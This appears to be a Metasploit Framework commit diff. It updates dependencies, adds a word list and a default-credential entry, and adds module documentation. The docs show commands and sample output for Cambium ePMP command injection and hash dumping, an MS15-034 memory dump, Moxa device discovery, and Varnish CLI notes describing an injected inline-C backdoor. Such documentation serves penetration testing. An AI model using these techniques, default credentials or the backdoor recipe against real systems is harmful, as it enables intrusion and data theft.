commit
9c1ae39c4f
33
Gemfile.lock
33
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.14.3)
|
||||
metasploit-framework (4.14.8)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -16,7 +16,7 @@ PATH
|
|||
metasploit-model
|
||||
metasploit-payloads (= 1.2.19)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
metasploit_payloads-mettle (= 0.1.8)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
|
@ -53,6 +53,7 @@ PATH
|
|||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
|
@ -89,7 +90,7 @@ GEM
|
|||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.0)
|
||||
addressable (2.5.1)
|
||||
public_suffix (~> 2.0, >= 2.0.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.3.0)
|
||||
|
@ -102,6 +103,7 @@ GEM
|
|||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
bindata (2.3.5)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.3)
|
||||
capybara (2.13.0)
|
||||
|
@ -144,7 +146,7 @@ GEM
|
|||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
fivemat (1.3.3)
|
||||
gherkin (4.1.1)
|
||||
google-protobuf (3.2.0.2)
|
||||
googleauth (0.5.1)
|
||||
|
@ -155,7 +157,7 @@ GEM
|
|||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.1.2)
|
||||
grpc (1.2.0)
|
||||
google-protobuf (~> 3.1)
|
||||
googleauth (~> 0.5.1)
|
||||
i18n (0.8.1)
|
||||
|
@ -201,7 +203,7 @@ GEM
|
|||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.7)
|
||||
metasploit_payloads-mettle (0.1.8)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
|
@ -215,8 +217,8 @@ GEM
|
|||
nessus_rest (0.1.6)
|
||||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nexpose (5.3.1)
|
||||
nokogiri (1.7.0.1)
|
||||
nexpose (5.3.2)
|
||||
nokogiri (1.7.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
octokit (4.6.2)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
|
@ -267,7 +269,7 @@ GEM
|
|||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.7)
|
||||
rex-core (0.1.8)
|
||||
rex-encoder (0.1.2)
|
||||
metasm
|
||||
rex-arch
|
||||
|
@ -301,7 +303,7 @@ GEM
|
|||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.2.12)
|
||||
rex-text (0.2.13)
|
||||
rex-zip (0.1.1)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
|
@ -323,6 +325,11 @@ GEM
|
|||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
ruby_smb (0.0.8)
|
||||
bindata
|
||||
bit-struct
|
||||
rubyntlm (~> 0.5)
|
||||
windows_error
|
||||
rubyntlm (0.6.1)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
|
@ -335,7 +342,7 @@ GEM
|
|||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.14.0)
|
||||
simplecov (0.14.1)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
|
@ -346,9 +353,9 @@ GEM
|
|||
thor (0.19.4)
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
tzinfo (1.2.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.1)
|
||||
tzinfo-data (1.2017.2)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.1)
|
||||
xpath (2.0.0)
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,305 @@
|
|||
LAWYER
|
||||
GLASS
|
||||
HUNT
|
||||
UNDERSTANDING
|
||||
RELATION
|
||||
HORROR
|
||||
CASH
|
||||
TWO
|
||||
WHEEL
|
||||
COMPLAINT
|
||||
RISK
|
||||
BANANA
|
||||
ANGEL
|
||||
KANGAROO
|
||||
BACON
|
||||
TISSUE
|
||||
TURTLENECK
|
||||
DAUGHTER
|
||||
SUGGESTION
|
||||
WEAR
|
||||
QUESTION
|
||||
SOUTH
|
||||
LENGTH
|
||||
BONUS
|
||||
STOCK
|
||||
FEELING
|
||||
BAND
|
||||
HUSBAND
|
||||
ADVERTISING
|
||||
AUTHOR
|
||||
GUEST
|
||||
PROOF
|
||||
FRUIT
|
||||
GUARD
|
||||
TOUCH
|
||||
WILL
|
||||
TOE
|
||||
STRENGTH
|
||||
DRESS
|
||||
PLEASURE
|
||||
ESTIMATE
|
||||
OPPORTUNITY
|
||||
NOTE
|
||||
DIG
|
||||
DISH
|
||||
GROUP
|
||||
STRUCTURE
|
||||
MIND
|
||||
EDITOR
|
||||
ADVANTAGE
|
||||
YOUNG
|
||||
GAP
|
||||
SERVE
|
||||
VOICE
|
||||
WAKE
|
||||
DROP
|
||||
CURRENCY
|
||||
COMFORT
|
||||
SPECIALIST
|
||||
SCRATCH
|
||||
MISSION
|
||||
CARPET
|
||||
INTERVIEW
|
||||
SHOPPING
|
||||
CONSIST
|
||||
SINGLE
|
||||
IMAGINATION
|
||||
SPARE
|
||||
COVER
|
||||
EXAMINATION
|
||||
ROUTINE
|
||||
COLLAR
|
||||
WALL
|
||||
SWIM
|
||||
ATTACK
|
||||
SPIRITUAL
|
||||
JURY
|
||||
ROLE
|
||||
DREAM
|
||||
BREAK
|
||||
LEG
|
||||
TEACHER
|
||||
SHOE
|
||||
PANIC
|
||||
DEPARTURE
|
||||
VALUE
|
||||
BONE
|
||||
WAIT
|
||||
AMOUNT
|
||||
TOUR
|
||||
STAND
|
||||
TRUFFLE
|
||||
ASSOCIATE
|
||||
WEIRD
|
||||
RING
|
||||
BUILDING
|
||||
ABROAD
|
||||
ALTERNATIVE
|
||||
DIFFICULTY
|
||||
NASTY
|
||||
SIGN
|
||||
CLERK
|
||||
PRESENT
|
||||
STRETCH
|
||||
CHILD
|
||||
NOVEL
|
||||
SHOWER
|
||||
AD
|
||||
ATTENTION
|
||||
NEWS
|
||||
GARAGE
|
||||
BORDER
|
||||
BASIS
|
||||
PROCESS
|
||||
TONIGHT
|
||||
TRUTH
|
||||
PERIOD
|
||||
CATEGORY
|
||||
APPOINTMENT
|
||||
SPACE
|
||||
MILK
|
||||
DRUNK
|
||||
MISTAKE
|
||||
SYMPATHY
|
||||
EFFORT
|
||||
BUTTON
|
||||
RED
|
||||
CLASS
|
||||
WAY
|
||||
TOOTH
|
||||
PHYSICS
|
||||
BITTER
|
||||
SITUATION
|
||||
LAND
|
||||
PEAK
|
||||
BRUSH
|
||||
SAIL
|
||||
SOUP
|
||||
VAST
|
||||
RISE
|
||||
INEVITABLE
|
||||
CHAIN
|
||||
PREPARATION
|
||||
TOTAL
|
||||
SPIRIT
|
||||
ROAD
|
||||
SINGER
|
||||
FORCE
|
||||
IMPLEMENT
|
||||
MAIL
|
||||
EVENING
|
||||
TEMPERATURE
|
||||
DEALER
|
||||
ARRIVAL
|
||||
TARGET
|
||||
SHELTER
|
||||
WASH
|
||||
FOCUS
|
||||
ASSUMPTION
|
||||
INTENTION
|
||||
ACCIDENT
|
||||
HORSE
|
||||
MONTH
|
||||
MAN
|
||||
PACKAGE
|
||||
DEPRESSION
|
||||
COOKIE
|
||||
RESPOND
|
||||
LEATHER
|
||||
CATCH
|
||||
CULTURE
|
||||
TEACH
|
||||
PRACTICE
|
||||
SOFTWARE
|
||||
COMFORTABLE
|
||||
TEA
|
||||
FINDING
|
||||
ANSWER
|
||||
WRITING
|
||||
SEAT
|
||||
DIFFERENCE
|
||||
SICK
|
||||
CRAZY
|
||||
FLOW
|
||||
ACCOUNT
|
||||
MEMBER
|
||||
COUNTY
|
||||
INFORMATION
|
||||
PART
|
||||
CHECK
|
||||
GOLF
|
||||
RAIN
|
||||
STUFF
|
||||
CLUE
|
||||
MASTER
|
||||
REWARD
|
||||
WHILE
|
||||
OPTION
|
||||
LUCK
|
||||
DISCOUNT
|
||||
POTENTIAL
|
||||
FIGURE
|
||||
DISPLAY
|
||||
DESIGN
|
||||
VALUABLE
|
||||
COMMUNICATION
|
||||
INSURANCE
|
||||
PREFERENCE
|
||||
SUBJECT
|
||||
CLUB
|
||||
OIL
|
||||
BUNCH
|
||||
GROWTH
|
||||
IMPORTANCE
|
||||
REGION
|
||||
LOSS
|
||||
BOYFRIEND
|
||||
CONTEST
|
||||
PLANE
|
||||
DEBATE
|
||||
ICE
|
||||
NURSE
|
||||
HOLD
|
||||
GO
|
||||
APPLICATION
|
||||
SALT
|
||||
PROTECTION
|
||||
HEART
|
||||
WEATHER
|
||||
OVEN
|
||||
JUDGMENT
|
||||
IMPACT
|
||||
MISS
|
||||
CLIMATE
|
||||
SEARCH
|
||||
SON
|
||||
ACT
|
||||
STAGE
|
||||
OFFER
|
||||
POSSIBILITY
|
||||
TRY
|
||||
STUDIO
|
||||
INCOME
|
||||
SOURCE
|
||||
BAG
|
||||
PLACE
|
||||
NOISE
|
||||
NEGOTIATION
|
||||
BUS
|
||||
HALL
|
||||
ASSISTANCE
|
||||
MEDICINE
|
||||
NOBODY
|
||||
CHARITY
|
||||
EMPLOY
|
||||
WORLD
|
||||
AFTERNOON
|
||||
PHASE
|
||||
RESEARCH
|
||||
SALE
|
||||
WINNER
|
||||
CONTRACT
|
||||
PULL
|
||||
MAP
|
||||
DESIGNER
|
||||
MEMORY
|
||||
BALANCE
|
||||
MEDIUM
|
||||
COFFEE
|
||||
MALL
|
||||
PHONE
|
||||
KING
|
||||
SCALE
|
||||
THROAT
|
||||
SUSPECT
|
||||
QUANTITY
|
||||
YARD
|
||||
EXCHANGE
|
||||
CHAMPIONSHIP
|
||||
PONY
|
||||
STREET
|
||||
TIME
|
||||
HOPE
|
||||
YOU
|
||||
NIGHT
|
||||
QUARTER
|
||||
REPLY
|
||||
DRAG
|
||||
MINUTE
|
||||
SUPPORT
|
||||
SUIT
|
||||
SIR
|
||||
BACKGROUND
|
||||
MANNER
|
||||
MANAGER
|
||||
MATCH
|
||||
GENERAL
|
||||
TILL
|
||||
EXPERT
|
||||
TRANSPORTATION
|
||||
DEFINITION
|
||||
PLASTIC
|
||||
CAKE
|
||||
BUDDY
|
||||
MINE
|
|
@ -1818,3 +1818,4 @@ admin 54321
|
|||
admin 7ujMko0admin
|
||||
admin meinsm
|
||||
mother fucker
|
||||
cmc password
|
||||
|
|
|
@ -23,6 +23,10 @@ Remember that these phone numbers must be the same carrier.
|
|||
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||
supported carriers.
|
||||
|
||||
**SMSSUBJECT**
|
||||
|
||||
The text subject.
|
||||
|
||||
**SMSMESSAGE**
|
||||
|
||||
The text message you want to send. For example, this will send a text with a link to google:
|
||||
|
|
|
@ -0,0 +1,52 @@
|
|||
The `shodan_honeyscore` module utilizes the [Shodan](https://www.shodan.io/) API to determine whether or not a server is a honeypot or not.
|
||||
When setting the module options, we aren't directly requesting `TARGET`, we are requesting the shodan API to analyze `TARGET` and return a honeyscore from 0.0 to 1.0. 0.0 being `not a honeypot` and 1.0 being a `honeypot`. The original website for the honeypot system can be found here: https://honeyscore.shodan.io/.
|
||||
|
||||
#### NOTE:
|
||||
In order for this module to function properly, a Shodan API key is needed. You can register for a free acount here: https://account.shodan.io/register
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/gather/shodan_honeyscore`
|
||||
3. Do: `set TARGET <targetip>`
|
||||
4. Do: `set SHODAN_APIKEY <your apikey>`
|
||||
5. Do: `run`
|
||||
6. If the API is up, you should recieve a score from 0.0 to 1.0.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGET**
|
||||
|
||||
The remote host to request the API to scan.
|
||||
|
||||
**SHODAN_APIKEY**
|
||||
|
||||
This is the API key you recieve when signing up for a Shodan account. It should be a 32 character string of random letters and numbers.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the module against a real system (in this case, the Google DNS server):
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/shodan_honeyscore
|
||||
msf auxiliary(shodan_honeyscore) > options
|
||||
|
||||
Module options (auxiliary/gather/shodan_honeyscore):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SHODAN_APIKEY yes The SHODAN API key
|
||||
TARGET yes The target to get the score of
|
||||
|
||||
msf auxiliary(shodan_honeyscore) > set TARGET 8.8.8.8
|
||||
TARGET => 8.8.8.8
|
||||
msf auxiliary(shodan_honeyscore) > set SHODAN_APIKEY [redacted]
|
||||
SHODAN_APIKEY => [redacted]
|
||||
msf auxiliary(shodan_honeyscore) > run
|
||||
|
||||
[*] Scanning 8.8.8.8
|
||||
[-] 8.8.8.8 is not a honeypot
|
||||
[*] 8.8.8.8 honeyscore: 0.0/1.0
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,27 @@
|
|||
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_cmd_exec```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_cmd_exec
|
||||
msf auxiliary(epmp1000_cmd_exec) > set rhosts 1.3.3.7
|
||||
msf auxiliary(epmp1000_cmd_exec) > set rport 80
|
||||
msf auxiliary(epmp1000_cmd_exec) > run
|
||||
|
||||
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
|
||||
[*] 1.3.3.7:80 - Attempting to login...
|
||||
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
|
||||
[*] 1.3.3.7:80 - Executing id; pwd
|
||||
uid=0(root) gid=0(root)
|
||||
/www/cgi-bin
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,30 @@
|
|||
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_dump_config
|
||||
msf auxiliary(epmp1000_dump_config) > set rhosts 1.3.3.7
|
||||
msf auxiliary(epmp1000_dump_config) > set rport 80
|
||||
msf auxiliary(epmp1000_dump_config) > run
|
||||
|
||||
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2...
|
||||
[*] 1.3.3.7:80 - Attempting to login...
|
||||
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
|
||||
[+] ++++++++++++++++++++++++++++++++++++++
|
||||
[+] 1.3.3.7 - dumping configuration
|
||||
[+] ++++++++++++++++++++++++++++++++++++++
|
||||
[+] 1.3.3.7:80 - File retrieved successfully!
|
||||
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
|
||||
```
|
|
@ -0,0 +1,32 @@
|
|||
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_hashes```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_dump_hashes
|
||||
msf auxiliary(epmp1000_dump_hashes) > set rhosts 1.3.3.7
|
||||
msf auxiliary(epmp1000_dump_hashes) > set rport 80
|
||||
msf auxiliary(epmp1000_dump_hashes) > run
|
||||
|
||||
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
|
||||
[*] 1.3.3.7:80 - Attempting to login...
|
||||
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
|
||||
[*] ++++++++++++++++++++++++++++++++++++++
|
||||
[*] 1.3.3.7:80 - [1/1] - dumping password hashes
|
||||
root:$1$<hash>:0:0:root:/root:/bin/ash
|
||||
...
|
||||
...
|
||||
[*] ++++++++++++++++++++++++++++++++++++++
|
||||
[+] 1.3.3.7:80 - File retrieved successfully!
|
||||
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_passwd_282393.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,24 @@
|
|||
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/epmp1000_web_login```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_web_login
|
||||
msf auxiliary(epmp1000_web_login) > set rhosts 1.2.3.4
|
||||
msf auxiliary(epmp1000_web_login) > set username installer
|
||||
msf auxiliary(epmp1000_web_login) > set password installer
|
||||
msf auxiliary(epmp1000_web_login) > run
|
||||
|
||||
[+] 1.2.3.4:80 - Running Cambium ePMP 1000 version 3.0...
|
||||
[*] 1.2.3.4:80 - Trying username:"installer" with password:"installer"
|
||||
[+] SUCCESSFUL LOGIN - 1.2.3.4:80 - "installer":"installer"
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,61 @@
|
|||
## Description
|
||||
|
||||
This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2.
|
||||
|
||||
**Note:** If the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/ms15_034_http_sys_memory_dump```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
```
|
||||
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125
|
||||
RHOSTS => 10.1.1.125
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) > exploit
|
||||
|
||||
[+] Target is vulnerable!
|
||||
[+] Content length is 10240 bytes
|
||||
[+] Stand by...
|
||||
[+] Memory contents:
|
||||
[*] 4854 5450 2f31 2e31 2032 3030 204f 4b0d HTTP/1.1 200 OK.
|
||||
[*] 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .Content-Type: t
|
||||
[*] 6578 742f 6874 6d6c 0d0a 4c61 7374 2d4d ext/html..Last-M
|
||||
[*] 6f64 6966 6965 643a 204d 6f6e 2c20 3232 odified: Mon, 20
|
||||
[*] 204a 756e 2032 3031 3520 3134 3a32 313a Mar 2017 21:27:
|
||||
[*] 3535 2047 4d54 0d0a 4163 6365 7074 2d52 55 GMT..Accept-R
|
||||
[*] 616e 6765 733a 2062 7974 6573 0d0a 4554 anges: bytes..ET
|
||||
[*] 6167 3a20 2261 3563 6663 3863 6166 3661 ag: "a5cfc8caf6a
|
||||
[*] 6364 3031 3a30 220d 0a53 6572 7665 723a cd01:0"..Server:
|
||||
[*] 204d 6963 726f 736f 6674 2d49 4953 2f38 Microsoft-IIS/8
|
||||
[*] 2e35 0d0a 582d 506f 7765 7265 642d 4279 .5..X-Powered-By
|
||||
[*] 3a20 4153 502e 4e45 540d 0a00 0000 0000 : ASP.NET.......
|
||||
[*] 0000 0202 4672 6167 0000 0000 0000 0000 ....Frag........
|
||||
[*] c028 0000 0000 0000 0000 0000 0000 0000 .(..............
|
||||
[*] 0200 0a00 4672 6565 0000 0000 0000 0000 ....Free........
|
||||
[*] d01e f6c5 02f8 ffff 40a2 6502 00e0 ffff ........@.e.....
|
||||
[*] 0a00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
|
||||
[*] 1000 6702 00e0 ffff 3800 0c00 0000 0000 ..g.....8.......
|
||||
[*] 0000 0000 0000 0000 ba9a e501 00e0 ffff ................
|
||||
[*] 0090 e501 00e0 ffff 5c00 0000 ba0a 0000 ........\.......
|
||||
[*] 59a8 1300 0000 0000 0000 0000 0000 0000 Y...............
|
||||
[*] 0000 0000 0000 0000 0000 0000 0000 e0dc ................
|
||||
[*] 0d00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
|
||||
[*] 9079 2602 00e0 ffff 3800 1c00 0000 0000 .y&.....8.......
|
||||
...
|
||||
...
|
||||
...
|
||||
[*] 6079 0702 00e0 ffff 0000 0000 0000 0000 `y..............
|
||||
[*] 0e00 1902 5669 4d6d 0000 0000 0000 0000 ....ViMm........
|
||||
[*] Suppressed 346 uninteresting lines
|
||||
[*] Memory dump saved to /home/rw/.msf4/loot/20150622073911_default_10.1.1.125_iis.ms15034_145400.bin
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ms15_034_http_sys_memory_dump) >
|
||||
```
|
|
@ -0,0 +1,85 @@
|
|||
## Vulnerable Application
|
||||
|
||||
The Moxa protocol listens on 4800/UDP and will respond to broadcast
|
||||
or direct traffic. The service is known to be used on Moxa devices
|
||||
in the NPort, OnCell, and MGate product lines.
|
||||
|
||||
A discovery packet compels a Moxa device to respond to the sender
|
||||
with some basic device information that is needed for more advanced
|
||||
functions. The discovery data is 8 bytes in length and is the most
|
||||
basic example of the Moxa protocol. It may be sent out as a
|
||||
broadcast (destination 255.255.255.255) or to an individual device.
|
||||
|
||||
Devices that respond to this query may be vulnerable to serious
|
||||
information disclosure vulnerabilities, such as CVE-2016-9361.
|
||||
|
||||
The module is the work of Patrick DeSantis of Cisco Talos and is
|
||||
derived from original work by K. Reid Wightman. Tested and validated
|
||||
on a Moxa NPort 6250 with firmware versions 1.13 and 1.15.
|
||||
|
||||
The discovery request contains the bytes:
|
||||
|
||||
`\x01\x00\x00\x08\x00\x00\x00\x00`
|
||||
|
||||
Where the function code (first byte) 0x01 is Moxa discovery/identify
|
||||
and the fourth byte is the length of the full data payload.
|
||||
|
||||
The first byte of a response will always be the func code + 0x80
|
||||
(the most significant bit of the byte is set to 1, so 0b00000001
|
||||
becomes 0b10000001, or 0x81).
|
||||
|
||||
A valid response is 24 bytes, starts with 0x81, and contains the values
|
||||
0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/scada/moxa_discover```
|
||||
3. Do: ```set RHOSTS```
|
||||
4. Do: ```run```
|
||||
4. Devices running the Moxa service should respond
|
||||
|
||||
## Options
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
Target(s) to scan; can be single target, a range, or broadcast.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > hosts
|
||||
|
||||
Hosts
|
||||
=====
|
||||
|
||||
msf > use auxiliary/scanner/scada/moxa_discover
|
||||
msf auxiliary(moxa_discover) > set RHOSTS 192.168.127.254
|
||||
RHOSTS => 192.168.127.254
|
||||
msf auxiliary(moxa_discover) > show options
|
||||
|
||||
Module options (auxiliary/scanner/scada/moxa_discover):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BATCHSIZE 256 yes The number of hosts to probe in each set
|
||||
RHOSTS 192.168.127.254 yes The target address range or CIDR identifier
|
||||
RPORT 4800 yes The target port (UDP)
|
||||
THREADS 10 yes The number of concurrent threads
|
||||
|
||||
msf auxiliary(moxa_discover) > run
|
||||
|
||||
[+] 192.168.127.254:4800 Moxa Device Found!
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(moxa_discover) > hosts
|
||||
|
||||
Hosts
|
||||
=====
|
||||
|
||||
address mac name os_name os_flavor os_sp purpose info comments
|
||||
------- --- ---- ------- --------- ----- ------- ---- --------
|
||||
192.168.127.254 Unknown device Moxa Device
|
||||
|
||||
msf auxiliary(moxa_discover) >
|
||||
```
|
|
@ -0,0 +1,134 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
|
||||
Kali installed varnish-5.0.0 revision 99d036f
|
||||
|
||||
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
|
||||
|
||||
1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all.
|
||||
2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`.
|
||||
1. I made an easy test one `echo "secret" > ~/secret`
|
||||
|
||||
## Exploitation Notes
|
||||
|
||||
These notes were taken from the original module in EDB, and can be used when developing a working remote exploit
|
||||
|
||||
```
|
||||
- varnishd typically runs as root, forked as unpriv.
|
||||
- 'param.show' lists configurable options.
|
||||
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
|
||||
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
|
||||
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
|
||||
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
|
||||
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
|
||||
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
|
||||
- code execution notes:
|
||||
|
||||
* quotes must be escaped \"
|
||||
* \n is a newline
|
||||
* C{ }C denotes raw C code.
|
||||
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
|
||||
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
|
||||
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
|
||||
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
|
||||
* example trigger for backdoor:
|
||||
|
||||
VCL server:
|
||||
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
|
||||
vcl.use foo
|
||||
start
|
||||
|
||||
Attacker:
|
||||
telnet target 80
|
||||
GET /backd00r HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
|
||||
(... wait for child to execute debug trap INT3 / shellcode).
|
||||
|
||||
CLI protocol notes from website:
|
||||
|
||||
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
|
||||
|
||||
Requests are whitespace separated tokens terminated by a newline (NL) character.
|
||||
|
||||
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
|
||||
), (\"), (\%03o) and (\x%02x)
|
||||
|
||||
The response consists of a header which can be read as fixed format or ASCII text:
|
||||
|
||||
1-3 %03d Response code
|
||||
4 ' ' Space
|
||||
5-12 %8d Length of body
|
||||
13 \n NL character.
|
||||
Followed by the number of bytes announced by the header.
|
||||
|
||||
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
|
||||
|
||||
enum cli_status_e {
